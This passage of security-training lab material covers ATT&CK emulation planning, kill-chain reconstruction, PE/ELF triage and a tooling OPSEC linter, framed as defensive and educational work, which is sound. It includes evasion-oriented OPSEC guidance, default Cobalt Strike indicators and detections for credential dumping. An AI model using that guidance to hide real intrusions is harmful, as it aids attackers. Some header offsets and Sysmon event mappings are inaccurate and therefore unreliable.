classify(tid)—{technique, name, tactic, order, procedure, telemetry, detection}for any technique id (unknown ids degrade to a documentedunknownrecord, never crash).detection_for(tid)— the break-the-chain / purple-team detection idea for a step.build_plan(actor_tids)— the ordered, de-duplicated, numbered emulation plan. Each step carries the procedure stub, the telemetry/data-source it emits, the detection idea, and a success criterion. Ordering is(lifecycle order, technique id)so the plan reads top-to-bottom as one campaign and is deterministic.tactics_covered(actor_tids)— distinct tactics the actor exercises, in lifecycle order.coverage_summary(actor_tids)— techniques-per-tactic ({tactic: count}) — the Navigator coverage view.coverage_gaps(actor_tids, all_tactics)— the lifecycle tactics the actor does not exercise — the threat-informed-defense "what would we miss?" question.
ATT&CK mapping
The corpus is a representative slice of ATT&CK Enterprise, one technique per cell of the lifecycle
(reconnaissance → … → impact). Each row carries its ATT&CK tactic, a procedure stub (what the
operator runs against the owned range), the ATT&CK data source / telemetry the behavior emits,
and a detection idea. FIN-LATTICE's profile (T1566 → T1059 → T1003 → T1021 → T1071 → T1486) is a
canonical financially-motivated chain: phish in, execute, dump creds, move laterally, beacon out,
ransom.
Attack cases the tests cover
- An actor profile given out of lifecycle order is reconstructed into an ordered, numbered plan (initial-access → execution → credential-access → lateral-movement → C2 → impact).
- Every step ships a procedure, telemetry, a detection, and a success criterion (the detection pairing the standard requires).
coverage_summarycounts techniques per tactic and preserves lifecycle order.coverage_gapsreturns the uncovered tactics in order, and respects a custom tactic sub-frame.- Unknown techniques are handled (sorted last, flagged as a detection gap) and never crash the plan; duplicates are de-duplicated; empty input yields an empty plan with all tactics as gaps.
- Output is deterministic and independent of input order.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes (14 tests)
pytest -q # your implementation after the TODOs
Hardening / detection (the purple-team pairing)
This lab is the detection-pairing exercise: the plan's value to the client is the column that says,
for each emulated behavior, what telemetry it emits and what detection should fire. On the range
(see HITCHHIKERS-GUIDE.md) you run each step, observe whether the data source actually produced the
event, and whether the detection fired — turning the plan into a detection-coverage scorecard.
Extensions (your own isolated range)
- Load the real ATT&CK STIX bundle (full technique → tactic mapping, multi-tactic techniques, sub-techniques) instead of the slice.
- Emit an ATT&CK Navigator layer (JSON) coloring covered techniques by tactic — the standard hand-off artifact.
- Join each technique to Atomic Red Team test ids so the plan is directly runnable on the range.
- Score the plan against a SOC data-source inventory: a technique whose data source is not being collected is a visibility gap, distinct from a detection gap.
- Rank steps by Pyramid of Pain level so the plan exercises the controls that cost the actor most.
Interview / resume
"Built a CTI-to-emulation-plan builder that turns a named actor's observed ATT&CK techniques into an ordered, lifecycle-sequenced engagement plan — each step paired with the telemetry it emits, a detection idea, and a success criterion — and computes per-tactic coverage and the threat-informed gaps an emulation of that single actor would leave untested."
Limitations: a representative technique slice, not the full ATT&CK matrix; single-tactic per technique (real techniques can map to several); no sub-technique granularity; lifecycle order approximated by ATT&CK Enterprise tactic order; procedures are stubs over synthetic metadata — there are no payloads, no live targets, and no weaponization here.
Lab 02 — Kill-Chain Campaign Reconstructor + Diamond-Model Pivot
Lenses: Cyber Kill Chain + MITRE ATT&CK (the chain) and the Diamond Model (the pivot). WARMUP: Chapters 2, 4, 7, 8. Engagement tie-in: the purple-team replay of Operation Cedar Lattice — after the FIN-LATTICE emulation runs, the SOC's scattered alerts are reconstructed into one campaign narrative, and the analyst pivots on shared C2 to find the events they missed.
The problem
An intrusion never arrives as a tidy timeline. It arrives as scattered, out-of-order events — an alert from the mail gateway, a Sysmon process-create three hours later, a proxy log entry from before either. The analyst's first job is to turn that pile into a campaign: order it along the attacker lifecycle, report how far the adversary got, and find the earliest, cheapest place to break the chain ("defend left" — the lower the tactic, the more downstream damage a control there prevents).
But ordering is only the kill-chain view ("how far along?"). The second analytic move is the Diamond Model view ("what else is connected?"): two events that used the same C2 infrastructure or the same capability (loader/malware) are likely the same campaign — even when you cannot yet name the adversary. That pivot is how a threat-intel analyst expands from one indicator to the rest of the intrusion and toward attribution.
This lab does both: reconstruct + break-point on one axis, Diamond pivot on the other.
What you build (lab.py)
classify(technique_id)—{technique, name, tactic, order, break_control}(unknown ids sort last).reconstruct(events)— order events by(tactic order, timestamp, event_id), preserving the Diamond meta-features.tactics_reached(events)/furthest_tactic(events)— "how far along is this intrusion?" (furthest_tacticignores unplaceable/unknown techniques — you cannot claim a stage you cannot map).earliest_break(events)— the lowest-order placeable event and the control that breaks the chain there.pivot(events, on='infrastructure'|'capability')— the Diamond pivot: clusters of events sharing a non-Nonevalue of that meta-feature, linked transitively, returned as sorted id-tuples (singletons dropped — a lone event has nothing to pivot to).
ATT&CK / framework mapping
Events map to the same representative ATT&CK technique slice as Lab 01, sequenced by Enterprise tactic
order (the kill chain). The infrastructure and capability fields are the Diamond Model
meta-features (the lower vertices: infrastructure and capability); pivot is the
shared-meta-feature correlation that the WARMUP's Diamond chapter describes.
Attack cases the tests cover
- A FIN-LATTICE ransomware intrusion observed out of order is reconstructed into lifecycle order (phish → execution → lateral movement → C2 → impact), with the Diamond features preserved.
furthest_tacticreports the deepest placeable stage;earliest_breakreturns the lowest-order tactic (preferring reconnaissance when present) with its control.pivot(on='infrastructure')links the two events sharing a C2 IP;pivot(on='capability')links the two sharing a loader; pivoting is transitive;Nonevalues and singletons are ignored; an unsupported feature raisesValueError.- Unknown-only input is unplaceable (no furthest tactic, no break point); empty input is handled; reconstruction and pivot are deterministic.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes (16 tests)
pytest -q # your implementation after the TODOs
Hardening / detection (the break-the-chain pairing)
earliest_break is the detection pairing: for the cheapest stage in the chain it names the control
that would have stopped the campaign before it deepened. The reconstruction also makes the
detection-gap narrative explicit — every tactic the chain reached that the SOC did not alert on
is a gap the purple-team replay (HITCHHIKERS-GUIDE.md) turns into a durable detection. The Diamond
pivot is itself a defensive tool: once you have one C2 indicator, pivoting finds every other event
that touched it, so you can scope and contain the whole intrusion, not just the alert you saw.
Extensions (your own isolated range)
- Add the victim and adversary vertices and infer attribution-by-association across a pivoted cluster (flag conflicting adversaries — pivoting can mislead).
- Score dwell time (first-to-last event) and flag the longest undetected gap between stages.
- Emit an ATT&CK Navigator layer of the reconstructed campaign.
- Weight infrastructure indicators by Pyramid of Pain level — pivoting on a TTP is far more durable than pivoting on an IP the actor rotates daily.
- Load the real ATT&CK STIX bundle for full technique → tactic coverage and sub-techniques.
Interview / resume
"Built a campaign reconstructor that orders scattered security events along the ATT&CK lifecycle, reports how far an intrusion progressed and the earliest break point with its control ('defend left'), and a Diamond-Model pivot that links events sharing infrastructure or capability into one campaign — the analytic move behind threat correlation and scoping."
Limitations: a representative technique slice, not the full ATT&CK matrix; single tactic per technique; lifecycle order approximated by Enterprise tactic order; pivoting uses exact-match meta-features (no fuzzy/derived indicators); reasons over synthetic event metadata only — no payloads, no live targets, no weaponization.
Phase 02 — Offensive Tooling Development (Analysis, Formats & IOC Hygiene)
Operation Cedar Lattice, Phase 02. Phase 01 produced the emulation plan — which actor FIN-LATTICE is, which techniques they use, in which order. Before executing the plan, a consultant must understand the tools that implement those techniques: their binary formats (so you can triage them), the Indicators of Compromise (IOCs) they leave behind (so you can tell the client what to look for), and the OPSEC hygiene that separates a noisy tool from an engagement-grade one.
This phase is a static-analysis and triage phase, not a build phase. The labs are a PE/ELF format parser (parsing binary headers from bytes, classifying tooling type, extracting imphash and export table) and a tooling IOC / OPSEC linter (checking a tooling inventory against an OPSEC checklist and flagging noise indicators). They work on synthetic binary metadata — no live malware, no shellcode, no deployable offensive artifact.
Safety (non-negotiable). Authorized security-education only. The labs in this phase are static analyzers and OPSEC linters over synthetic binary metadata dicts. There is no weaponized payload, no shellcode, no working implant, no PE injection, and no deployable offensive artifact in this repo. Understanding binary formats is how defenders triage tooling in a DFIR case. OPSEC hygiene is how red teams leave fewer traces for blue teams to detect — the reverse is equally true. Same boundary as all other phases.
Why this phase exists
Every technique in the emulation plan is implemented by a tool — a binary, a script, or a LOLBin. Understanding what that tool looks like from the inside (its PE/ELF structure, its import table, its strings, its imphash) is the common language between the red team consultant and the incident responder who found the tool in a DFIR case. The JD explicitly requires "experience with offensive tooling development" across C#, C/C++, Python, Nim, and Go — understanding the binary formats those languages produce is the prerequisite to using or triaging that tooling.
OPSEC hygiene — the practice of configuring tools to minimize the traces they leave — is part of what distinguishes an engagement-grade tool from a noisy one. A tool that ships its default compilation artifacts, default C2 strings, and a well-known imphash is easily blocklisted and detected within minutes. Knowing which indicators a tool creates, which logging plane sees them, and which ones the analyst uses to build detections is both the red team's concern (minimize noise) and the blue team's concern (maximize detection surface). Both perspectives are trained here.
Learning Objectives
By the end of this phase you can, without notes:
- Describe the PE (Portable Executable) format: DOS MZ header, NT headers (
IMAGE_NT_HEADERS), optional header (AddressOfEntryPoint,SizeOfImage,Subsystem), section table (.text,.data,.rdata,.rsrc), Import Directory Table (IDT) and Import Address Table (IAT), Export Directory Table. - Describe the ELF format parallel: ELF header (
e_type,e_machine,e_entry,e_phoff), program headers (segments), section headers (.text,.data,.rodata,.dynamic), dynamic symbol table,.rel.plt/.rela.plt. - Compute and explain imphash (the MD5 of the normalized import table name list) and explain why it is used for classification and attribution — and why it fails at the bottom of the Pyramid of Pain.
- Name the OPSEC indicators a tool can leave: compilation artifacts (default PDB path, linker version, compile time stamp), behavioral indicators (default named pipes, default beacon URIs, default user-agent strings, well-known imphash families), and log-plane indicators (Sysmon EID 7 image load, ETW image-load callbacks, process-creation command lines).
- Explain the tooling IOC taxonomy used in engagement reporting: host-based IOCs (file hash, imphash, PDB path, strings), network-based IOCs (JA3/JA4, URI pattern, user-agent), and behavioral IOCs (API call sequence, named-pipe name, parent-child relationship).
- Apply the Pyramid of Pain to tooling IOCs: hash/imphash at the bottom (trivial to change), behavioral TTPs at the top (costly to change), and explain which detection is worth engineering.
- Apply an OPSEC linter checklist to a tool inventory and rank the highest-noise items.
The binary format model
PE (Windows) ELF (Linux)
─────────────────────────────────────────────────────────────────────────
DOS header (MZ magic 4D5A) ELF header (magic 7F454C46)
PE signature ("PE\0\0") e_type (ET_EXEC / ET_DYN)
IMAGE_FILE_HEADER e_machine (EM_X86_64)
Machine (0x8664 = x86-64) e_entry (virtual entry point)
NumberOfSections e_phoff → program headers
TimeDateStamp (compilation time)
IMAGE_OPTIONAL_HEADER Program headers (segments)
Magic (PE32+ = 0x20B) .text (rx) / .data (rw) / .bss
AddressOfEntryPoint .dynamic → dynamic linker info
SizeOfImage
Subsystem (2=GUI, 3=CUI, 14=EFI) Section headers
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] .text / .data / .rodata / .dynamic
.dynsym (dynamic symbol table)
Section table (.text, .data, .rdata, .rel.plt / .rela.plt
.rsrc, .reloc, ...)
Import Directory Table (IDT) Dynamic linking (equivalent)
DLL name → IAT entries → function .dynamic / .dynsym / PLT → GOT
names + ordinals
imphash = MD5(sorted normalized list)
Export Directory Table
function name → VA
Why the import table matters for detection. A Windows binary's IDT is the list of DLLs and
functions it calls. Forensic tools (imphash, pe-sieve, capa) use the import table to classify
tool families. A Cobalt Strike beacon has a distinctive import table; so does mimikatz; so does
a legitimate system binary. The imphash provides a fingerprint at medium cost (recompiling changes
it; adding a dummy import changes it). Detection at the TTP level — "this process called
NtAllocateVirtualMemory → NtWriteVirtualMemory → NtProtectVirtualMemory via ETW-TI" —
survives the recompile.
Concepts
| Concept | What it is | Why it matters to the engagement |
|---|---|---|
| PE DOS/MZ header | First 64 bytes; 0x3C → offset to PE signature | Identifies a Windows executable; missing or malformed = packed/obfuscated |
| NT headers | IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER | Machine type, subsystem, entry point, section layout |
| Import table / IDT | DLL + function name list; basis of imphash | Classification, attribution, detection at imphash layer |
| imphash | MD5 of sorted normalized dll.function list | Family fingerprint; bottom of Pyramid of Pain |
| Export table | List of exported function names + VAs | DLL/reflective-loader identification |
| ELF header | Magic \x7fELF, type, machine, entry | Identifies Linux executable; ET_DYN = shared obj or PIE |
.dynamic section | Tells the dynamic linker what to load | Equivalent to PE import table for ELF tooling |
| Compilation artifact | PDB path, debug directory, linker version | IOC for attribution; default paths are loud |
| Named pipe | IPC mechanism; default C2 pipes are well-known | Sysmon EID 17/18; blocked by name at detection layer |
| imphash family | Tools with identical import tables (same compile, same version) | Detection database classification |
| OPSEC indicator | Any artifact that tips off a defender | Host/network/identity plane classification |
| Pyramid of Pain | IOC taxonomy by adversary cost to change | Tells you whether a detection is durable |
| JA3/JA4 fingerprint | TLS client hello hash — network-layer fingerprint | C2 beacon identification at network layer |
Labs
| Lab | Builds | Lesson |
|---|---|---|
| Lab 01 — PE/ELF Format Analyzer | parse a synthetic binary metadata dict (DOS header, NT headers, sections, imports, exports); compute imphash; classify tooling type; extract OPSEC indicators from the header fields | binary format is how triage works — the import table and header fields are the first classification layer |
| Lab 02 — Tooling IOC / OPSEC Linter | check a tooling inventory dict against an OPSEC checklist (default named pipes, default URIs, known-bad imphash, default PDB paths, default user-agent strings); compute a noise score; return ranked findings with detection descriptions | OPSEC hygiene is measurable — every default indicator has a detection that fires on it |
Each lab follows LAB-STANDARD.md: lab.py (TODOs), solution.py (reference),
adversarial test_lab.py, README.md, requirements.txt — pure Python stdlib + pytest, offline,
deterministic.
cd lab-01-pe-format-analyzer
LAB_MODULE=solution python3 -m pytest -q # reference passes (14 tests)
cd ../lab-02-tooling-ioc-opsec-linter
LAB_MODULE=solution python3 -m pytest -q # reference passes (15 tests)
Deliverables
- A PE/ELF format analyzer that classifies synthetic binary metadata (tooling type, imphash, OPSEC-relevant header fields) and maps each finding to its detection layer and Pyramid-of-Pain level.
- A tooling IOC / OPSEC linter that scores a tooling inventory against a noise checklist and returns a ranked list of OPSEC findings with detection descriptions.
- The Operation Cedar Lattice Phase 02 artifact: the FIN-LATTICE tooling inventory triage — which tools are in-scope for the engagement, their binary-format fingerprints, their OPSEC noise score, and the detections that would catch each one at each layer (imphash, behavioral, network). Over synthetic metadata; no real malware.
- Fluency to explain PE/ELF structure, the import table, imphash, the IOC taxonomy, the Pyramid of Pain applied to tooling, and OPSEC hygiene — in an interview.
Readings (primary sources)
- Microsoft PE/COFF specification —
learn.microsoft.com/windows/win32/debug/pe-format— the authoritative reference for every field in the PE header and data directories. - ELF specification (Tool Interface Standard) —
refspecs.linuxbase.org/elf/elf.pdf. - MITRE ATT&CK: T1027 (Obfuscated Files/Information), T1055 (Process Injection), T1071 (Application Layer Protocol), T1090 (Proxy / redirectors).
- mandiant/capa — open-source tool that matches PE capabilities against ATT&CK techniques; read the rule format to understand what behavioral features are extractable from static analysis.
- imphash — Mandiant blog post "Tracking Malware with Import Hashing" (2014, Carhart). The original definition and motivation.
- David Bianco — The Pyramid of Pain. Applied to tooling IOCs, not just indicators generically.
- Sigma specification — detection rule format used to express tooling detections; a
logsource: category: image_loadrule detects specific DLL loads (Sysmon EID 7). - The Art of Memory Forensics (Ligh et al.) — chapters on PE structure and import/export analysis for forensic triage.
Common Mistakes
- Treating imphash as a durable detection. Imphash changes with a recompile or a single dummy import added. It is useful for family classification but sits at the bottom of the Pyramid of Pain. Engineer the behavioral detection in addition to logging the hash.
- Ignoring the compilation timestamp. The
TimeDateStampfield inIMAGE_FILE_HEADERis a default-on IOC that dates a compiled binary (and can be spoofed, but by default is not). A tool compiled today with a 2019 timestamp is a default artifact; one compiled in 2015 is either old or timestamp-stripped. - Confusing subsystem values. Subsystem
2(Windows GUI) is unusual for a command-line tool and may indicate a GUI wrapper or a PE that hides its console. Subsystem3(Windows CUI) is expected for typical red-team tooling. Misreading subsystem leads to wrong classification. - Missing the export table for DLL/reflective-loader detection. A DLL loaded reflectively has
an export table even when it has no disk representation. The export table name list (
ReflectiveDll,DllMain) is one of the first classifiers in a DFIR case. - OPSEC hygiene as a binary on/off. It is a ranked, contextual property: some indicators matter more in certain environments (a known-bad imphash matters more if the client has imphash-based blocking; a default named pipe matters if they have Sysmon EID 17/18 configured). The linter ranks by impact, not by presence.
- Confusing a format analyzer with a malware scanner. The lab analyzes structural metadata — it does not execute the binary, sandbox it, or detect malicious behavior through dynamic analysis. Static analysis is the first pass; it is fast but misses packed/obfuscated content.
Interview Questions
- Walk me through the PE format from the DOS header to the import table. What fields matter most for triage?
- What is imphash, how is it computed, and where does it sit on the Pyramid of Pain? When is it useful and when is it not?
- Explain the difference between the Import Directory Table and the Import Address Table in a PE. Why does the IAT matter for detecting process injection?
- What OPSEC indicators does a compiled tool leave by default? Name three and their detection.
- How does the ELF
.dynamicsection compare to the PE import table for tooling classification? - You find a binary with no import table entries. What are the likely explanations, and how do you triage further?
- A tool has a known-bad imphash. The attacker recompiles it with one dummy import. Does your detection survive? What would you build instead?
- Walk me through how you would produce the tooling triage artifact for a real engagement — what you would analyze, what output you would give the client, and what detections you would recommend.
(Full answers are in WARMUP.md.)
Portfolio artifact
FIN-LATTICE tooling triage for Operation Cedar Lattice — the per-tool analysis (PE/ELF structure
summary, imphash, OPSEC noise score) for the two synthetic tool samples in the engagement inventory;
the ranked OPSEC findings for each tool; and the detection-layer map (host hash, imphash family,
named-pipe name, network JA3, behavioral TTP) that tells Meridian where to invest detection. All over
synthetic metadata, no real malware. Part of 02-tooling/ in the
capstone portfolio.
Guides
- WARMUP.md — the from-zero deep dive: PE/ELF binary formats (field by field), imphash, export table, IOC taxonomy (host/network/behavioral), the Pyramid of Pain applied to tooling, and OPSEC hygiene — every indicator paired with its detection layer.
- HITCHHIKERS-GUIDE.md — on an owned range: use
objdump/dumpbinon allowed system binaries to observe PE/ELF structure live; feed the output as synthetic dicts into the lab analyzers; interpret the OPSEC linter output and write a Sigma rule for the highest-noise finding.
WARMUP — Offensive Tooling Development (Analysis, Formats & IOC Hygiene)
From zero to principal-level. Binary formats built field by field. IOC taxonomy from the Pyramid of Pain. OPSEC hygiene mapped to detection. Every indicator paired with the log that catches it.
Table of Contents
- Chapter 1 — Why Tooling Literacy Is the Engagement's Foundation
- Chapter 2 — The PE Format, Field by Field
- Chapter 3 — The ELF Format, Field by Field
- Chapter 4 — imphash and the Import Table as a Detection Surface
- Chapter 5 — IOC Taxonomy: Host, Network, and Behavioral
- Chapter 6 — The Pyramid of Pain Applied to Tooling
- Chapter 7 — OPSEC Hygiene: What a Tool Leaves Behind and Why
- Chapter 8 — Detection Engineering for Tooling
- Chapter 9 — Tooling Languages and Their Binary Characteristics
- Chapter 10 — Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes and OPSEC
- Interview Q&A
- References
Chapter 1 — Why Tooling Literacy Is the Engagement's Foundation
What "tooling literacy" means
A red team engagement uses tools to implement techniques. The tool's job is to produce the technique's observable footprint — and that footprint is what the engagement produces for the client to detect. Tooling literacy is the ability to read and reason about a tool's binary structure, configuration, and operational footprint — without necessarily knowing or disclosing its source code or how to develop weaponized variants.
This has three sub-skills:
- Triage — given a binary (or a metadata summary of one), classify it: what type of tooling, what language, what capability indicators, what family.
- IOC inventory — enumerate the indicators that tool produces on host (imphash, strings, named pipes, PDB paths), on the network (JA3, user-agent, URI patterns), and in behavior (API call sequences, parent-child relationships).
- OPSEC assessment — score how loud the tool is, which indicators are default-on and commonly known to blue teams, and which mitigations would reduce the signal.
All three are bidirectional: the red team uses them to assess whether a tool is fit for engagement use; the blue team uses them to triage and classify tooling found in an incident.
Why it is Phase 02
Phase 01 produced the technique list. The techniques map to tools. Before Phase 03–05 execute those techniques, the consultant must know what artifact those tools leave. The OPSEC linter output from Phase 02 shapes which tools are used, how they are configured, and what detections the engagement will validate. The triage output feeds the evidence manifest and the detection-gap map.
Chapter 2 — The PE Format, Field by Field
2.1 Overview
A Portable Executable (PE) is the binary format for Windows executables, DLLs, drivers, and related file types. The format is documented in the Microsoft PE/COFF specification.
The on-disk layout from offset 0:
Offset Size Structure
──────────────────────────────────────────────────────────────
0x00 64 IMAGE_DOS_HEADER (begins "MZ" = 0x4D5A)
0x3C 4 e_lfanew → offset of IMAGE_NT_HEADERS
─────────────────── (followed by DOS stub, then at e_lfanew:)
+0x00 4 Signature = "PE\0\0" = 0x50450000
+0x04 20 IMAGE_FILE_HEADER
+0x00 2 Machine (0x8664 = AMD64, 0x14C = i386, 0xAA64 = ARM64)
+0x02 2 NumberOfSections
+0x04 4 TimeDateStamp ← compilation timestamp (Unix epoch)
+0x08 4 PointerToSymbolTable (0 in non-COFF)
+0x0C 4 NumberOfSymbols
+0x10 2 SizeOfOptionalHeader
+0x12 2 Characteristics (IMAGE_FILE_DLL bit 0x2000)
+0x18 240 IMAGE_OPTIONAL_HEADER (PE32+)
+0x00 2 Magic (0x20B = PE32+, 0x10B = PE32)
+0x02 1 MajorLinkerVersion
+0x03 1 MinorLinkerVersion
+0x10 8 AddressOfEntryPoint (RVA)
+0x1C 8 ImageBase (preferred load address)
+0x28 4 SizeOfImage
+0x3C 2 Subsystem
1=native, 2=GUI, 3=CUI, 14=EFI app
+0x5C 8 DataDirectory[0] = Export Directory
+0x64 8 DataDirectory[1] = Import Directory ← key for imphash
+0x68 8 DataDirectory[2] = Resource Directory
+0x98 8 DataDirectory[5] = Base Reloc
+0xA0 8 DataDirectory[6] = Debug Directory ← PDB path here
─────────────────── Section table (NumberOfSections entries of 40 bytes each)
.text code (characteristics: r-x)
.data mutable globals (rw-)
.rdata read-only data: strings, import hints, vtable (r--)
.rsrc resources (icons, version info, manifests)
.reloc base relocation table
.pdata exception unwind info (x64)
2.2 The Import Directory Table (IDT) and Import Address Table (IAT)
The IDT is DataDirectory[1]: a null-terminated array of IMAGE_IMPORT_DESCRIPTOR structures,
one per imported DLL. Each descriptor points to:
- A DLL name (ASCII string).
- An INT (Import Name Table): the functions this binary imports from that DLL, by name or ordinal.
- An IAT (Import Address Table): at load time, the loader resolves each import and writes the function's virtual address into the IAT. The code calls through the IAT, not the INT.
At runtime in memory, the IAT is the live jump table: CALL QWORD PTR [IAT+offset]. Process
injection overwrites an IAT entry to redirect a function call to attacker-controlled code — which
is why ETW-TI tracks NtWriteVirtualMemory targeting another process's address space.
2.3 The Debug Directory and PDB Path
DataDirectory[6] points to one or more IMAGE_DEBUG_DIRECTORY structures. The TYPE_CODEVIEW
entry contains (for a PDB-debug binary) the path to the Program Database file:
RSDS signature + PDB GUID + Age + NUL-terminated PDB path
Default paths reveal:
- Operator's username:
C:\Users\Alice\Documents\repos\my-implant\x64\Release\my-implant.pdb - Build system path:
C:\Jenkins\workspace\payload-build\Release\payload.pdb - The project name in the path itself
Detection: string-extracting strings or FLOSS on a PE sample; or dumpbin /headers /
pefile Python library parsing entry.DIRECTORY_ENTRY_DEBUG. A PDB path present in a tool binary
is a default-on IOC that blue teams look for in DFIR.
2.4 The Export Directory Table
DataDirectory[0] points to an IMAGE_EXPORT_DIRECTORY. Populated for DLLs and sometimes EXEs
(rare). Contains:
- DLL name — the canonical name (may differ from the on-disk filename; this mismatch is an IOC).
- AddressOfFunctions — array of RVAs to exported code/data.
- AddressOfNames — array of RVAs to function-name strings.
- AddressOfNameOrdinals — ordinal table mapping names to function index.
A reflective DLL — one that loads itself into memory without a file — exports a well-known entry
point name (e.g. ReflectiveDllInjection, ReflectiveLoader). That export name is visible in the
in-memory PE scan done by EDR / memory forensics (pe-sieve, Volatility's malfind).
Chapter 3 — The ELF Format, Field by Field
3.1 Overview
ELF (Executable and Linkable Format) is the binary format for Linux/Unix executables, shared libraries, and object files. The structure:
Offset Size Field
──────────────────────────────────────────────────────────────
0x00 4 e_ident magic: \x7fELF
0x04 1 EI_CLASS: 1=32-bit, 2=64-bit
0x05 1 EI_DATA: 1=LE, 2=BE
0x10 2 e_type: ET_EXEC=2, ET_DYN=3, ET_REL=1
0x12 2 e_machine: EM_X86_64=0x3E, EM_AARCH64=0xB7
0x18 8 e_entry: virtual entry point
0x20 8 e_phoff: offset to program headers (segments)
0x28 8 e_shoff: offset to section headers
0x38 2 e_phnum: number of program headers
0x3A 2 e_shnum: number of section headers
e_type matters for triage:
ET_EXEC— position-dependent executable (fixed load address).ET_DYN— position-independent; can be a PIE executable or a shared library (.so). AET_DYNfile withe_entry != 0is typically a PIE binary (harder to exploit statically), or a shared library with an entry point (unusual, worth noting in triage).
3.2 Program headers (segments) vs. section headers
Program headers describe segments — the runtime view used by the kernel/dynamic linker:
| Type | Meaning |
|---|---|
PT_LOAD | Loadable segment (code r-x, data rw-) |
PT_DYNAMIC | Points to the .dynamic section |
PT_INTERP | Path to the dynamic linker (/lib64/ld-linux-x86-64.so.2) |
PT_GNU_STACK | Stack permissions flag |
PT_GNU_RELRO | Read-only after relocation (hardening) |
Section headers describe sections — the linker/debugger view (stripped in production binaries but still present and parseable if the file has not been stripped):
| Section | Content |
|---|---|
.text | Code |
.data | Initialized mutable data |
.rodata | Read-only data (strings, constants) |
.bss | Uninitialized data (zero-filled at load) |
.dynamic | Dynamic linking metadata |
.dynsym | Dynamic symbol table (external symbol names + versions) |
.rel.plt / .rela.plt | Relocations for PLT (dynamic function calls) |
3.3 Dynamic linking (the ELF equivalent of the PE import table)
The .dynamic section contains a list of tags that tell the dynamic linker (ld.so) what to do.
Key tags:
DT_NEEDED— each one names a required shared library (equivalent to PE's per-DLL IDT entry).DT_SYMTAB→.dynsym— the dynamic symbol table (function/data names imported from libraries).DT_JMPREL→.rela.plt— relocation entries for PLT slots.
The PLT/GOT (Procedure Linkage Table / Global Offset Table) is the ELF equivalent of the PE IAT:
- First call to a dynamic function goes through the PLT stub → the dynamic linker resolves it → writes the real address into the GOT entry.
- Subsequent calls go through PLT → GOT → directly to the function.
GOT overwrite is a classical Linux exploitation technique (overwrite a GOT entry to hijack a function call), equivalent to IAT hooking on Windows.
Chapter 4 — imphash and the Import Table as a Detection Surface
4.1 What imphash is
imphash is the MD5 hash of the normalized PE import table, computed as:
- For each DLL in the IDT (in IDT order):
For each function (in IDT order within that DLL):
Append
<dll_lowercase_no_extension>.<function_lowercase>to a list. - Join the list with commas into a single string.
- MD5(string).
This was defined in Mandiant's 2014 blog post "Tracking Malware with Import Hashing" (Carhart). The motivation: two binaries compiled from the same source with the same linker settings import the same functions in the same order, producing the same imphash — even if the content differs. It groups tool families by their import signature.
Python (stdlib only):
import hashlib
def imphash(imports):
"""
imports: list of (dll_name, func_name) in IDT order
Returns MD5 hex of the normalized comma-joined import list.
"""
parts = []
for dll, func in imports:
dll_norm = dll.lower()
if dll_norm.endswith('.dll'):
dll_norm = dll_norm[:-4]
parts.append(f"{dll_norm}.{func.lower()}")
raw = ','.join(parts)
return hashlib.md5(raw.encode()).hexdigest()
4.2 Pyramid of Pain placement
imphash sits at the Hash layer of Bianco's Pyramid of Pain — one step above raw file hash. The adversary cost to change it: add one dummy import, recompile, done. It is useful for:
- Grouping samples into families (all Cobalt Strike beacons compiled from the same config have the same imphash in a given version).
- Rapid triage in DFIR: "this binary's imphash matches the known Cobalt Strike PE family."
- Historical attribution: tracking when a threat actor changed their build environment.
It is not useful as a durable detection because the recompile or dummy-import evasion is trivial. The durable detection is at the TTP layer: the API call sequence the tool uses (regardless of which DLL imported which function first), observable via ETW-TI at the kernel boundary.
Chapter 5 — IOC Taxonomy: Host, Network, and Behavioral
5.1 Host-based IOCs
| IOC | Source | Detection |
|---|---|---|
| File hash (MD5/SHA256) | File on disk or memory dump | AV/EDR file scan; Sysmon EID 1 Hashes field |
| imphash | PE import table | pe-sieve, capa, EDR PE scanner |
| PDB path | PE debug directory | strings, FLOSS, pefile parse |
| Compilation timestamp | TimeDateStamp in IMAGE_FILE_HEADER | pefile parse; DFIR timeline |
| Default named pipe | Tool IPC channel (Cobalt Strike default: \.\pipe\MSSE-<rand>) | Sysmon EID 17 (pipe created), 18 (pipe connected) |
| Default mutex name | Mutual exclusion object; tools use them to prevent double-run | Sysmon EID 17 (CreateMutant via kernel callback) |
| Export function name | In-memory PE reflective entry point | pe-sieve, Volatility malfind |
| Strings | Hardcoded C2 URLs, user-agents, commands | strings, FLOSS (unpack obfuscated strings) |
5.2 Network-based IOCs
| IOC | Source | Detection |
|---|---|---|
| JA3/JA4 fingerprint | TLS ClientHello byte pattern (cipher suites, extensions, elliptic curves) | Network detection; Zeek; Suricata JA3 module |
| User-agent string | HTTP header in beacon check-in | Proxy logs; Suricata http.user_agent rule |
| URI pattern | Beacon check-in path (Cobalt Strike default: /api/) | Proxy logs; Suricata URI match |
| Jitter/timing pattern | Beacon sleep interval regularity | NetFlow / Zeek long-connection detection |
| SNI / certificate fields | TLS SNI hostname; self-signed cert subject fields | Network detection; JA4 |
| Destination IP/domain | C2 address | Threat-intel feed; DNS sink-hole |
5.3 Behavioral IOCs
| IOC | Source | Detection |
|---|---|---|
| Parent-child relationship | Process creation tree | Sysmon EID 1 ParentImage field |
| API call sequence | Sequence of NT* syscalls (alloc → write → protect → execute) | ETW-TI provider; user-mode hook sequence |
| Privilege use | Security EID 4673 (sensitive privilege used) | SIEM correlation on privilege + process name |
| Handle open pattern | Sysmon EID 10: GrantedAccess on lsass.exe | Cross-process handle open rule |
| Network connection from unexpected process | cmd.exe or wscript.exe connecting outbound | Sysmon EID 3 filtering by process image |
| DLL loaded from unexpected path | Sysmon EID 7: ImagePath in user-writable location | Image-load rule |
Chapter 6 — The Pyramid of Pain Applied to Tooling
David Bianco's Pyramid of Pain ranks indicators by the cost to the adversary of changing them:
╔══════════════════════════════╗
║ TTPs (Techniques) ║ hardest — must redesign the attack
╠══════════════════════════════╣
║ Tools ║ rebuild the tool; weeks
╠══════════════════════════════╣
║ Network / host ║
║ artifacts ║ hours–days (reconfig)
╠══════════════════════════════╣
║ Domain names ║ register a new one; easy
╠══════════════════════════════╣
║ IP addresses ║ change infrastructure
╠══════════════════════════════╣
║ Hash values (file, imphash) ║ trivial — recompile
╚══════════════════════════════╝
Applied to tooling triage:
